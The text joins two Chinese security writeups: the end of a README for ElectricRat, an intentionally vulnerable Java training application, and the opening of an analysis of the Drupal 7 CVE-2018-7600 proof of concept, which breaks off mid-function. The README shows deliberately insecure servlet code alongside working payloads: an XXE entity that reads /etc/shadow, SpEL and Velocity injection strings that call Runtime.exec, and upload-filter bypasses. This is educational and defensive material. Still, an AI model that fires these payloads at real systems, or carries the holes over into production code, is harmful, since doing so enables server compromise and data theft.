攻击者可以通过构造一个特定的URL，将其伪装成合法的跳转链接，欺骗用户点击跳转链接，最终将用户重定向到恶意网站，从而实施钓鱼、欺诈等攻击行为。例如，攻击者可以伪造一个银行登录页面，让用户输入账号和密码，从而窃取用户的银行账号和密码。
### 开发思路
URL跳转漏洞通常发生在Web应用程序中的跳转功能上。开发人员没有对跳转的URL进行充分的验证和过滤，导致攻击者可以通过修改URL的参数，伪造跳转链接，最终将用户重定向到恶意网站。
在URL跳转这个实现上面，前端和后端都能实现。后端实现的话可以使用设置301/302状态码和`Location`头的方式实现跳转。
response.setStatus(301);
response.setHeader("Location", request.getParameter("url"));
也可以使用`sendRedirect`进行跳转。
response.sendRedirect(request.getParameter("url"));
前端实现起来会方便很多。直接修改`window.location.href`属性即可，也没有做其他的过滤。
代码来源：`src/main/webapp/pages/urlredirect/urlredirect.html`
function goUrl(){
window.location.href = $("#url")[0].value;
}
## 任意文件上传
任意文件上传漏洞是一种Web应用程序安全漏洞，攻击者可以利用此漏洞将任意文件上传到服务器上，从而实现攻击目的。攻击者通常可以上传包含恶意代码的Web
Shell、病毒、木马程序等恶意文件，通过这些文件进行远程控制、信息窃取、篡改网站内容、网站挂马等攻击行为。
任意文件上传漏洞通常是由于Web应用程序的开发人员没有对上传的文件类型和文件大小进行充分的验证和过滤所致。攻击者可以通过修改上传的文件类型、伪造上传的文件头等方式绕过验证，上传任意类型和大小的文件。一旦攻击者上传了恶意文件，他们就可以在服务器上执行任意的命令，并获得系统权限，这将给Web应用程序带来严重的安全威胁。
### 开发思路
通常我们上传文件会特别关注以下几个方面：
1. 文件类型校验：根据文件后缀名或者文件头（magic number）判断文件类型，只接受安全的文件类型（ **白名单** ），如图片、PDF、文本等，拒绝危险的文件类型，如可执行文件等。
2. 文件大小校验：限制文件大小，避免上传过大的文件。
3. 文件名校验：防止上传包含危险字符的文件名，如 ../ 等。 **对文件进行重命名** 。
4. 文件内容校验：对于上传的文件，可以对其内容进行检查，如通过杀毒软件进行检查，避免上传带有病毒的文件。
除此之外还有其他防范的操作。
* 文件下载时不提供文件名，只提供文件随机生成的ID。
* 全站不解析JSP、JSPX等可以解析对象的文件。
* 上传文件目录低权限、网站运行权限低权限等。
> 题外话，如果不校验文件内容，那么必须考虑文件包含漏洞存在的情况。
在开发时，我列举了前端检测后缀、后端检测MIME
Type、后端检测后缀黑名单的情况。Tomcat10版本已经不使用`ServletFileUpload`而是使用`request.getPart`即可根据
name 获取文件。
代码来源：`com/pika/electricrat/unsafeupload/dto/UploadServlet.java`
// 后端检测MIME Type
@Api({RequestMethodType.POST})
public Map<?, ?> imageMIME(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Part file = request.getPart("image_file");
for(String i : FileServerImpl.IMAGE_FILE_TYPE){
if (file.getContentType().equals("image/"+i)){
return uploadFile(file, uploadPath(request));
}
}
HashMap<String, Object> data= new HashMap<>();
data.put("uploadStatus", false);
return data;
}
// 后端检测后缀黑名单
@Api({RequestMethodType.POST})
public Map<?, ?> imageBlackList(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Part file = request.getPart("image_file");
String fileName = file.getSubmittedFileName();
// String suffixName = fileName.substring(fileName.lastIndexOf(".")).toLowerCase();
String suffixName = fileName.substring(fileName.lastIndexOf("."));
System.out.println(suffixName);
for(String i : FileServerImpl.BLACK_FILE_TYPE) {
if (suffixName.equals(i)){
HashMap<String, Object> data= new HashMap<>();
data.put("uploadStatus", false);
return data;
}
}
return uploadFile(file, uploadPath(request));
}
// 上传文件
private HashMap<String, Object> uploadFile(Part imageFile,String filePath){
HashMap<String, Object> data= new HashMap<>();
try {
String fileName = imageFile.getSubmittedFileName();
long fileSize = imageFile.getSize();
if(fileSize > FileServerImpl.MAX_FILE_SIZE){data.put("uploadStatus", false);return data;}
String fileType = imageFile.getContentType();
File file = new File(filePath);
if (!file.exists() && !file.isDirectory()){
file.mkdir();
}
imageFile.write(filePath+"\\"+fileName);
HashMap<String, Object> fileObject = fsi.uploadFile(new FileEntity(fileName, fileType, (filePath+"\\"+fileName),
System.currentTimeMillis(), fileSize, (new ImageVerificationCode()).GetRandom(8)));
if (fileObject.isEmpty()){
data.put("uploadStatus", false);
return data;
}
data.put("file", fileObject);
data.put("uploadStatus", true);
} catch (Exception e){
data.put("uploadStatus", false);
data.put("msg", e.getMessage());
}
return data;
}
后端检测MIME Type，可以抓包轻松修改。后端检测后缀黑名单出问题的是忽略了大小写。
`String suffixName = fileName.substring(fileName.lastIndexOf("."));`
这句话本身是获取后缀，但对比时没有考虑到大小写。从下方的`BLACK_FILE_TYPE`可以看出，我们只需要修改后缀为`.jSp`就能绕过。
代码来源：`com/pika/electricrat/unsafeupload/bo/Impl/FileServerImpl.java`
public static final String[] IMAGE_FILE_TYPE = {"png", "jpg", "gif"};
public static final String[] BLACK_FILE_TYPE = {".html", ".htm", ".phtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml"};
还有一种经典的文件上传后缀黑名单检测不严格造成的任意文件上传。它的代码和上面的很相似，只是将`lastIndexOf`换成了`IndexOf`
`String suffixName = fileName.substring(fileName.IndexOf("."));`
也就是说我们只需要将后缀改成`.jpg.jsp`即可绕过黑名单的检测。
## 目录遍历（穿越）
目录遍历漏洞，也称为目录穿越漏洞，是一种常见的Web应用程序安全漏洞，攻击者可以利用此漏洞获取目标服务器上的敏感信息或者执行任意代码。目录遍历漏洞的原理是，攻击者通过修改Web应用程序中的URL，来访问Web服务器上的非授权目录。
攻击者通常通过在URL中添加"../"等目录遍历符号，来访问目标服务器上的上层目录，从而绕过Web应用程序的访问控制，访问Web服务器上的敏感文件和目录，例如/etc/passwd、/etc/shadow等系统文件，以及Web应用程序的配置文件、数据库文件、源代码等敏感信息。
### 开发思路
为了充分的演示，我编写了一个经典的业务逻辑代码——任意文件下载。造成这个漏洞的根本原因是对用户输入的`fileName`没有充分的过滤，直接进行路径拼接。我们除了修改成任意文件名之外，还可以使用`../`访问上层目录文件。
`FileInputStream in = new FileInputStream(uploadPath(request) + "\\" +
fileName);`
代码来源：`com/pika/electricrat/dir/FileActionServlet.java`
public void getFile(HttpServletRequest request, HttpServletResponse response){
String fileName = request.getParameter("fileName");
String suffix = fileName.substring(fileName.lastIndexOf('.'));
response.setHeader("content-disposition", "attachment;filename=" + ((new ImageVerificationCode()).GetRandom(10) + suffix));
try {
FileInputStream in = new FileInputStream(uploadPath(request) + "\\" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
int length=-1;
while((length=in.read(buffer))!=-1) {
out.write(buffer, 0, length);
}
in.close();
out.close();
} catch (Exception e){
e.printStackTrace();
}
}
为了防范目录遍历漏洞，我们可以做以下几点：
1. 过滤`./`和`../`这些特殊符号。
2. 采用随机字符串ID方式下载文件。
3. 对目录进行最小权限配置。
4. 路径后拼接后缀，比如说知道下载的一定是图片，那么就在路径后缀添加`.jpg`防止逃逸。（高效）
## XXE（XML实体注入）
XXE漏洞是指XML外部实体注入漏洞（XML External Entity
Injection），它是一种Web应用程序安全漏洞，可以让攻击者利用XML解析器漏洞，读取服务器上的任意文件，执行远程请求等恶意操作。
通常，攻击者会在XML文档中注入恶意的外部实体引用，这些实体引用包含了恶意代码，一旦被服务器解析执行，就会执行相应的操作，例如访问敏感数据、上传恶意文件等。攻击者可以通过修改HTTP请求中的XML数据来触发XXE漏洞。
防范XXE漏洞的措施包括：
1. 不要信任来自外部的XML数据，对用户输入的XML数据进行严格的输入验证和过滤，包括对实体引用进行白名单或黑名单限制。
2. 禁用或限制XML解析器中的外部实体功能，例如限制实体的解析范围，禁用或限制DTD解析等。
3. 采用安全编码实践，例如使用SAX解析器，对解析器进行安全配置等。
4. 对Web应用程序进行安全漏洞扫描和渗透测试，及时发现和修复漏洞。
### 开发思路
解析XML有很多方法，比较常见的有XMLReader、SAXBuilder、SAXReader、SAXParserFactory、Digester、DocumentBuilderFactory等。这些方法默认的解析都存在XXE漏洞。
我使用了常见的DocumentBuilderFactory。直接解析请求，并从中根据TagName获取两个标签内容的Text内容。最后还返回了username数据。这就是有回显的XXE漏洞，我们可以用来获取敏感信息。
获取 payload 也很简单，我们可以从GitHub获取。
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<username>&ent;</username>
<password>John</password>
</userInfo>
代码来源：`com/pika/electricrat/xxe/XXEServlet.java`
public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputStream ist = request.getInputStream();
Document doc = db.parse(ist);
String username = doc.getElementsByTagName("username").item(0).getTextContent();
String password = doc.getElementsByTagName("password").item(0).getTextContent();
int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
} catch (Exception e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
## SSRF（服务器端请求伪造）
SSRF漏洞（Server-Side Request
Forgery）指的是攻击者在Web应用程序中发起恶意请求，让服务器端向指定的地址发送网络请求，而这个地址是由攻击者控制的，攻击者可以通过该漏洞访问到应用程序无权访问的资源，比如内部网络中的其他服务、系统文件等。SSRF漏洞很危险，因为攻击者可以利用它来窃取敏感数据、发起攻击、甚至直接获取服务器的控制权。
SSRF漏洞通常是由于Web应用程序在处理输入时，没有对用户输入进行充分的验证和过滤，导致攻击者可以构造恶意的请求。攻击者可以通过修改HTTP请求中的URL参数或POST请求中的数据来触发SSRF漏洞，例如修改请求中的域名或IP地址，或者使用URL编码、IP地址转换等技术来绕过过滤。
防范SSRF漏洞的措施包括：
1. 对用户输入的URL参数或POST数据进行严格的验证和过滤，包括对协议、域名、IP地址等进行白名单限制。
2. 对Web应用程序中发起的网络请求进行安全配置，例如限制请求的目标范围、禁用危险的协议等。
3. 对Web应用程序进行安全漏洞扫描和渗透测试，及时发现和修复漏洞。
4. 在服务器端进行安全配置，例如限制网络端口、禁用危险的系统命令等。
### 开发思路
SSRF漏洞主要有以下几个危害：
1. 获取内网主机、端口和banner信息。
2. 对内网的应用程序进行攻击，例如 Redis、jboss 等。
3. 利用 file 协议读取文件。
4. 可以攻击内网程序造成溢出。
Java 中我们不能像 PHP 那样使用 gopher 协议来拓展攻击面。我们可以从`sun.net.www.protocol`下看到支持的协议。
我们可以通过 file 进行文件读取操作，对于无回显的文件也可以通过利用 FTP
协议进行外带攻击。一般来说，我们想要使用以上所有的协议，我们需要用到`URLConnection`和`URL`方法。
SSRF漏洞通常出现在社交分享、远程图片加载或下载、图片或文章收藏、转码、通过网址在线翻译、网站采集、从远程服务器请求资源等功能点。
我这里实现了远程图片采集的功能，将获取到的数据进行base64编码并返回，没有限制请求的URL，从而导致SSRF漏洞的产生。
代码来源：`com/pika/electricrat/ssrf/SSRFServlet.java`
public void getRemoteImage(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String url = request.getParameter("imageURL");
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedInputStream in = new BufferedInputStream(urlConnection.getInputStream());
List<Byte> buffer = new ArrayList<>();
int length = -1;
while ((length = in.read()) != -1){
buffer.add((byte) length);
}
in.close();
byte[] image2 = new byte[buffer.size()];
for (int i = 0; i < buffer.size(); i++){
image2[i] = buffer.get(i);
}
response.getWriter().append("data:image/jpeg;base64,").append(
new String(Base64.getEncoder().encode(image2)));
} catch (Exception e){
response.setStatus(400);
}
}
## SpEL表达式注入
SpEL表达式注入漏洞指的是攻击者通过构造恶意的SpEL（Spring Expression
Language）表达式，在Spring应用程序中执行任意的Java代码，从而获取系统权限或者窃取敏感数据。SpEL表达式是Spring框架中用来动态计算表达式的一种机制，允许开发人员在配置文件或注解中使用表达式来动态设置参数值。
SpEL表达式注入漏洞通常是由于开发人员在使用SpEL表达式时，没有对用户输入进行充分的验证和过滤，导致攻击者可以在表达式中注入恶意代码。攻击者可以通过修改请求中的参数或者请求头等信息，来触发SpEL表达式注入漏洞。
### 开发思路
在 SpEL 表达式中可以使用`T(Type)`来表示`java.lang.Class`实例。一旦未对用户输入进行处理就直接通过解析引擎对SpEL
表达式进行解析，就会达到 RCE 的目的。
网络上 Payload 的层出不穷，无法利用黑名单进行防御。不过 String
官方推出了`SimpleEvaluationContext`作为安全类进行防御。
代码来源：`com/pika/electricrat/spel/SpelServlet.java`
public void spelView(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String apply = request.getHeader("apply");
// String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(apply);
System.out.println(expression.getValue().toString());
response.getWriter().append(expression.getValue().toString());
}
## SSTI模板注入
SSTI（Server-Side Template
Injection）是一种常见的Web应用程序漏洞，攻击者可以通过SSTI漏洞在Web应用程序中注入恶意模板代码，从而执行任意的命令或者获取敏感信息。JAVA
SSTI注入漏洞是指在Java应用程序中存在SSTI漏洞的情况。
在Java应用程序中，常见的模板引擎包括Thymeleaf、FreeMarker、Velocity等。这些模板引擎在处理模板时，通常会将用户输入的数据作为变量传递到模板中进行解析。如果开发人员没有对用户输入进行充分的过滤和验证，攻击者就可以通过构造恶意的模板代码，来执行任意的命令或者获取敏感信息。
### 开发思路
SSTI模板注入在 Python Flask/Django 和 PHP
中非常常见。一旦模板引擎可以调用对象，那么便有办法构造命令执行。在GIthub上有不同模板引擎不同的 Payload，可以针对不同的模板引擎进行尝试。
代码来源：`com/pika/electricrat/ssti/SSTIServlet.java`
public void showTemple(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
// #set+($exp+=+"exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("calc");
String template = request.getParameter("template");
Velocity.init();
VelocityContext context = new VelocityContext();
StringWriter sw = new StringWriter();
Velocity.evaluate(context, sw, "test", template);
}
如果需要向用户公开模板编辑，可以选择无逻辑的模板引擎，如 Handlebars、Moustache 等。甚至使用 Vue 等前端框架。
## Java反序列
Java反序列化漏洞是指攻击者利用Java中的反序列化功能，通过构造特定的序列化数据来实现远程代码执行等攻击。Java中的反序列化功能可以将二进制数据转换成Java对象，反序列化通常用于数据持久化、网络传输等场景。然而，如果攻击者可以控制反序列化的数据，就有可能通过构造恶意的序列化数据，来实现任意的代码执行。
Java反序列化漏洞通常存在于需要从网络或其他不受信任的来源接收对象的应用程序中，比如RMI、JMX、JMS、HTTP、SOAP等。攻击者可以通过发送构造的恶意序列化数据到目标应用程序，来实现远程代码执行等攻击。
### 开发思路
Java反序列化过程中，涉及到的主要生命周期函数包括：
1. readObject()：在对象反序列化时，这个函数用于读取对象中的数据，并初始化对象的各个成员变量。
2. writeObject()：在对象序列化时，这个函数用于将对象中的数据写入输出流中。
3. readResolve()：在对象反序列化时，这个函数用于处理对象的唯一性，防止反序列化得到不同的对象。
4. writeReplace()：在对象序列化时，这个函数用于处理对象的替换，可以将一个对象替换成另一个对象。
其中，readObject()是最常用的反序列化生命周期函数，也是Java反序列化漏洞的重点关注对象。攻击者通过构造恶意的序列化数据，在readObject()函数中执行任意代码，从而实现远程代码执行攻击。
>
> readResolve()函数在readObject()函数执行前执行，开发者可以通过对readResolve()函数进行过滤和验证，来增强程序的安全性。
Java反序列化的函数主要包括以下几种：
1. ObjectInputStream.readObject()：从ObjectInputStream中读取对象并进行反序列化。
2. ObjectOutputStream.writeObject()：将对象写入ObjectOutputStream并进行序列化。
3. XMLDecoder.readObject()：从XMLDecoder中读取XML并进行反序列化。
4. XMLEncoder.writeObject()：将对象写入XMLEncoder并进行序列化。
5. JSONDeserializer.deserialize()：从JSON字符串中反序列化对象。
6. Jackson ObjectMapper.readValue()：使用Jackson库从JSON字符串中反序列化对象。
在实现过程中，我直接使用`ObjectInputStream`完成该项演示。对象序列化字符串通过 Cookie 里面的 rememberMe
参数获取。再通过 readObject 实例化对象。
代码来源：`com/pika/electricrat/serialize/SerializeServlet.java`
public void serializeView(HttpServletRequest request, HttpServletResponse response){
response.setContentType("text/plan;charset=utf-8");
try {
Cookie hasCookie = checkCookie(request);
if (hasCookie != null){
if (hasCookie.getValue().equals("deleteMe")){
response.getWriter().append("请更新 Cookie rememberMe 并进行请求。");
return;
}
byte[] decode = Base64.getDecoder().decode(hasCookie.getValue());
ByteArrayInputStream bytes = new ByteArrayInputStream(decode);
ObjectInputStream in = new ObjectInputStream(bytes);
Object o = in.readObject();
response.getWriter().append(((UserSerializeEntity)o).getRes());
in.close();
} else {
response.getWriter().append("请携带 Cookie rememberMe 进行请求。");
}
} catch (Exception e){
e.printStackTrace();
response.setStatus(500);
}
}
为了达到 RCE 的效果，我先创建了一个类实现`Serializable`。
代码来源：`com/pika/electricrat/serialize/po/UserSerializeEntity.java`
public class UserSerializeEntity extends UserEntity implements Serializable {
private String cmd;
private String res;
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
public String getRes() {
return res;
}
public void setRes(String res) {
this.res = res;
}
@Serial
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
res = RceServlet.execCmd(cmd);
}
}
重写 readObject
让它在实例化的时候执行`RceServlet.execCmd`函数，这个函数是我自己编写用来执行命令的函数。这里图方便直接引用了。实际上应该自己写`Runtime.getRuntime().exec`，下面是`execCmd`方法的详细。
代码来源：`com/pika/electricrat/rce/RceServlet.java`
public static String execCmd(String cmd) throws IOException, InterruptedException {
List<String> bash_cmd = new ArrayList<>();
bash_cmd.add("/bin/sh");
bash_cmd.add("-c");
bash_cmd.add(cmd);
Process p = Runtime.getRuntime().exec(bash_cmd.toArray(new String[bash_cmd.size()]));
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8));
String line;
StringBuilder text = new StringBuilder();
while((line = reader.readLine())!= null){
text.append(line).append("\n");
}
p.waitFor();
is.close();
reader.close();
p.destroy();
return text.toString();
}
# 如何贡献代码和反馈问题
ElectricRat 是一个开源项目，欢迎开发者和用户一起参与贡献。如果您发现了问题或者有任何建议，可以通过以下方式反馈：
* 在 GitHub 上提交 issue：<https://github.com/linjiananallnt/ElectricRat/issues>
* 通过电子邮件联系我：[[email protected]](mailto:[email protected])
如果您想为 ElectricRat 贡献代码，可以通过以下方式参与：
* Fork 仓库并创建新的分支；
* 编写新的代码或者修复已知问题；
* 提交 Pull Request。
# 结语
暂时写了这么多。不是所有事情都是在某一刻完结。后续如果有好的漏洞案例也会被添加进来。希望大家玩的开心的同时学到东西。无论该系统拿来试炼还是当轮子用都可以。
最后感谢您使用 ElectricRat，如果您对 ElectricRat 有任何问题或者建议，欢迎随时联系我。 | 社区文章 |
作者：Ricter Z
作者博客：<https://ricterz.me/posts/Drupal%207%20-%20CVE-2018-7600%20PoC%20Writeup>
#### 0x00 前言
前几天我分析了 Drupal 8.5.0 的 PoC 构造方法，但是 Drupal 7 还是仍未构造出 PoC。今天看到了
[Drupalgeddon2](https://github.com/dreadlocked/Drupalgeddon2/blob/master/drupalgeddon2.rb
"Drupalgeddon2") 支持了 Drupal 7 的 Exploit，稍微分析了下，发现 PoC 构建的十分精妙，用到了诸多 Drupal
本身特性，我构造不出果然还是太菜。
首先，Drupal 7 和 Drupal 8 这两个 PoC 本质上是同一原因触发的，我说的同一个原因并不是像是 `#pre_render` 的
callback 这样，而是都是由于 `form_parent` 导致 Drupal 遍历到用户控制的 `#value`，接着进行 render 的时候导致
RCE。Drupal 8 中的 `element_parents` 十分明显，且从 `$_GET` 中直接获取，所以很容易的能分析出来，而 Drupal 7
中的 `form_parent` 就藏得比较隐晦了。
那么，这个 PoC 用到了 Drupal 中的哪些特性呢？
* Drupal 的 router 传参
* Drupal 的 form cache
那么，先从 router 讲起。
#### 0x01 Router
当访问 `file/ajax/name/#default_value/form-xxxx` 的时候，在 `menu.inc` 中，Drupal
是这样处理的：
function menu_get_item($path = NULL, $router_item = NULL) {
$router_items = &drupal_static(__FUNCTION__);
if (!isset($path)) {
$path = $_GET['q'];
}
var_dump($router_items);
if (isset($router_item)) {
$router_items[$path] = $router_item;
}
if (!isset($router_items[$path])) {
// Rebuild if we know it's needed, or if the menu masks are missing which
// occurs rarely, likely due to a race condition of multiple rebuilds.
if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {
if (_menu_check_rebuild()) {
menu_rebuild();
}
}
$original_map = arg(NULL, $path);
$parts = array_slice($original_map, 0, MENU_MAX_PARTS);
$ancestors = menu_get_ancestors($parts);
$router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();
if ($router_item) {
// Allow modules to alter the router item before it is translated and
// checked for access.
drupal_alter('menu_get_item', $router_item, $path, $original_map);
$map = _menu_translate($router_item, $original_map);
$router_item['original_map'] = $original_map;
if ($map === FALSE) {
$router_items[$path] = FALSE;
return FALSE;
}
看不动？没关系，我来解释下：
* 从 `$_GET["q"]` 取出 path；
* 将 path 分割后进行组合，得到一个数组；
* 数组进入数据库查询；
组合的结果大概是这样：
0 = file/ajax/name/#default_value/form-xxxx
1 = file/ajax/name/#default_value/%
2 = file/ajax/name/%/form-xxxxx
3 = file/ajax/name/%/%
4 = file/ajax/%/%/%
5 = file/%/name/%/form-xxxxx
....
12 = file/%/name
13 = file/ajax
14 = file/%
15 = file
这些是什么呢？实际上这些是 Drupal 的 router，在数据库的 menu_router 表里。这么一串 array 最终和数据库中的
`file/ajax` 相匹配。Drupal 会根据数据库中的 `page_callback` 进行回调，也就是回调到 `file_ajax_upload`
函数。回调的现场：
可以注意到回调的参数为我们 `$_GET["q"]` 剩下的 `name/#default_value/form-xxxx`。
#### 0x02 file_ajax_upload
`file_ajax_upload` 即漏洞触发点了，直接分析代码就好。
function file_ajax_upload() {
$form_parents = func_get_args();
$form_build_id = (string) array_pop($form_parents);
if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {
...
}
list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
if (!$form) {
...
}
// Get the current element and count the number of files.
$current_element = $form;
foreach ($form_parents as $parent) {
$current_element = $current_element[$parent];
}
$current_file_count = isset($current_element['#file_upload_delta']) ? $current_element['#file_upload_delta'] : 0;
// Process user input. $form and $form_state are modified in the process.
drupal_process_form($form['#form_id'], $form, $form_state);
// Retrieve the element to be rendered.
foreach ($form_parents as $parent) {
$form = $form[$parent];
}
// Add the special Ajax class if a new file was added.
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}
$form['#prefix'] .= theme('status_messages');
$output = drupal_render($form);
这段代码的作用为：
1. 获取参数的最后一个值作为 `$form_build_id`，验证这个值和 `$_POST["form_build_id"]` 是否相等；
2. 通过 `$form_build_id` 从`ajax_get_form`获取被缓存的 `$form`；
3. `foreach ($form_parents as $parent)` 这个循环即和 Drupal 8 中的 `NestedArray::getValue` 异曲同工，将 `$form` 中的值按照 `name/#default_value` 的路径取出；
4. 最后，`drupal_render($form);` 进行渲染，这是漏洞的最终触发点，不做详细分析。
这是一个获取到最终 $form 的现场：
#### 0x03 Form Cache
现在的问题是怎么得到一个被缓存的 `$form`。首先我们 POST 一个找回密码的请求包，内容如下：
通过分析代码，可以得知，若想 `$form` 被 cache，需要满足以下几个条件：
if (($form_state['rebuild'] || !$form_state['executed']) && !form_get_errors()) {
// Form building functions (e.g., _form_builder_handle_input_element())
// may use $form_state['rebuild'] to determine if they are running in the
// context of a rebuild, so ensure it is set.
$form_state['rebuild'] = TRUE;
$form = drupal_rebuild_form($form_id, $form_state, $form);
}
`drupal_rebuild_form` 中：
function drupal_rebuild_form($form_id, &$form_state, $old_form = NULL) {
$form = drupal_retrieve_form($form_id, $form_state);
....
if (empty($form_state['no_cache'])) {
form_set_cache($form['#build_id'], $form, $form_state);
}
在诸多条件中，`($form_state['rebuild'] || !$form_state['executed'])` 是默认就被满足的，唯一的问题是
`form_get_errors()` 会出现问题。由于我们 POST 的 name 需要注入 payload，那么必然会验证失败。
如上图所示，`form_get_errors`返回了一个错误信息。我们跟进`form_set_errors` 看一看，这个函数名字像是设置错误信息的函数。
function form_set_error($name = NULL, $message = '', $limit_validation_errors = NULL) {
$form = &drupal_static(__FUNCTION__, array());
$sections = &drupal_static(__FUNCTION__ . ':limit_validation_errors');
if (isset($limit_validation_errors)) {
$sections = $limit_validation_errors;
}
if (isset($name) && !isset($form[$name])) {
$record = TRUE;
if (isset($sections)) {
// #limit_validation_errors is an array of "sections" within which user
// input must be valid. If the element is within one of these sections,
// the error must be recorded. Otherwise, it can be suppressed.
// #limit_validation_errors can be an empty array, in which case all
// errors are suppressed. For example, a "Previous" button might want its
// submit action to be triggered even if none of the submitted values are
// valid.
$record = FALSE;
foreach ($sections as $section) {
// Exploding by '][' reconstructs the element's #parents. If the
// reconstructed #parents begin with the same keys as the specified
// section, then the element's values are within the part of
// $form_state['values'] that the clicked button requires to be valid,
// so errors for this element must be recorded. As the exploded array
// will all be strings, we need to cast every value of the section
// array to string.
if (array_slice(explode('][', $name), 0, count($section)) === array_map('strval', $section)) {
$record = TRUE;
break;
}
}
}
if ($record) {
$form[$name] = $message;
if ($message) {
drupal_set_message($message, 'error');
}
}
}
return $form;
}
注意到这个 `$record` 变量。当 `$sections` 也就是通过 `isset` 函数检测时（也就是不为 null），`$record`
就会设置为 FALSE，也就不会进行错误的记录。通过查阅 `form.inc` 的代码，我注意到第 1412 行有如下代码：
if (isset($form_state['triggering_element']['#limit_validation_errors']) && ($form_state['triggering_element']['#limit_validation_errors'] !== FALSE) && !($form_state['submitted'] && !isset($form_state['triggering_element']['#submit']))) {
form_set_error(NULL, '', $form_state['triggering_element']['#limit_validation_errors']);
}
// If submit handlers won't run (due to the submission having been triggered
// by an element whose #executes_submit_callback property isn't TRUE), then
// it's safe to suppress all validation errors, and we do so by default,
// which is particularly useful during an Ajax submission triggered by a
// non-button. An element can override this default by setting the
// #limit_validation_errors property. For button element types,
// #limit_validation_errors defaults to FALSE (via system_element_info()),
// so that full validation is their default behavior.
elseif (isset($form_state['triggering_element']) && !isset($form_state['triggering_element']['#limit_validation_errors']) && !$form_state['submitted']) {
form_set_error(NULL, '', array());
}
// As an extra security measure, explicitly turn off error suppression if
// one of the above conditions wasn't met. Since this is also done at the
// end of this function, doing it here is only to handle the rare edge case
// where a validate handler invokes form processing of another form.
else {
//form_set_error(NULL, '', array()); // set _triggering_element_name
drupal_static_reset('form_set_error:limit_validation_errors');
}
当我们普通的 POST 的时候，会进入普通的最后的 else 分支，但是如果满足：
(isset($form_state['triggering_element']) && !isset($form_state['triggering_element']['#limit_validation_errors']) && !$form_state['submitted']
这个条件时，就会调用：
form_set_error(NULL, '', array());
这样调用的话，`$limit_validation_errors` 就是 Array，可以通过 `isset`，不会记录错误。我们来看一下这三个条件：
1. `isset($form_state['triggering_element'])`，默认为 submit 按钮，true
2. `!isset($form_state['triggering_element']['#limit_validation_errors'])` ，默认设置了这个值，false
3. `!$form_state['submitted']`，默认为 false
看起来形式严峻。首先我在将所有 `$form_state['submitted']` 设置为 TRUE 的地方设置了断点，单步调试后发现断在了这个位置：
// 如果没设置 triggering_element，那么将 triggering_element 设置为 form 的第一个 button
if (!$form_state['programmed'] && !isset($form_state['triggering_element']) && !empty($form_state['buttons'])) {
$form_state['triggering_element'] = $form_state['buttons'][0];
}
// If the triggering element specifies "button-level" validation and submit
// handlers to run instead of the default form-level ones, then add those to
// the form state.
foreach (array('validate', 'submit') as $type) {
if (isset($form_state['triggering_element']['#' . $type])) {
$form_state[$type . '_handlers'] = $form_state['triggering_element']['#' . $type];
}
}
// If the triggering element executes submit handlers, then set the form
// state key that's needed for those handlers to run.
if (!empty($form_state['triggering_element']['#executes_submit_callback'])) {
#################################################
$form_state['submitted'] = TRUE; // <--- こ↑こ↓
#################################################
}
又是 triggering_element，这到底是什么东西？看代码写的，如果没设置 triggering_element，那么将
triggering_element 设置为 form 的第一个 button。我搜索了设置
`$form_state['triggering_element']` 的代码：
// Determine which element (if any) triggered the submission of the form and
// keep track of all the clickable buttons in the form for
// form_state_values_clean(). Enforce the same input processing restrictions
// as above.
if ($process_input) {
// Detect if the element triggered the submission via Ajax.
if (_form_element_triggered_scripted_submission($element, $form_state)) {
$form_state['triggering_element'] = $element;
}
// If the form was submitted by the browser rather than via Ajax, then it
// can only have been triggered by a button, and we need to determine which
// button within the constraints of how browsers provide this information.
if (isset($element['#button_type'])) {
// All buttons in the form need to be tracked for
// form_state_values_clean() and for the form_builder() code that handles
// a form submission containing no button information in $_POST.
$form_state['buttons'][] = $element;
if (_form_button_was_clicked($element, $form_state)) {
$form_state['triggering_element'] = $element;
}
}
}
进入`_form_element_triggered_scripted_submission`：
/**
* Detects if an element triggered the form submission via Ajax.
*
* This detects button or non-button controls that trigger a form submission via
* Ajax or some other scriptable environment. These environments can set the
* special input key '_triggering_element_name' to identify the triggering
* element. If the name alone doesn't identify the element uniquely, the input
* key '_triggering_element_value' may also be set to require a match on element
* value. An example where this is needed is if there are several buttons all
* named 'op', and only differing in their value.
*/
function _form_element_triggered_scripted_submission($element, &$form_state) {
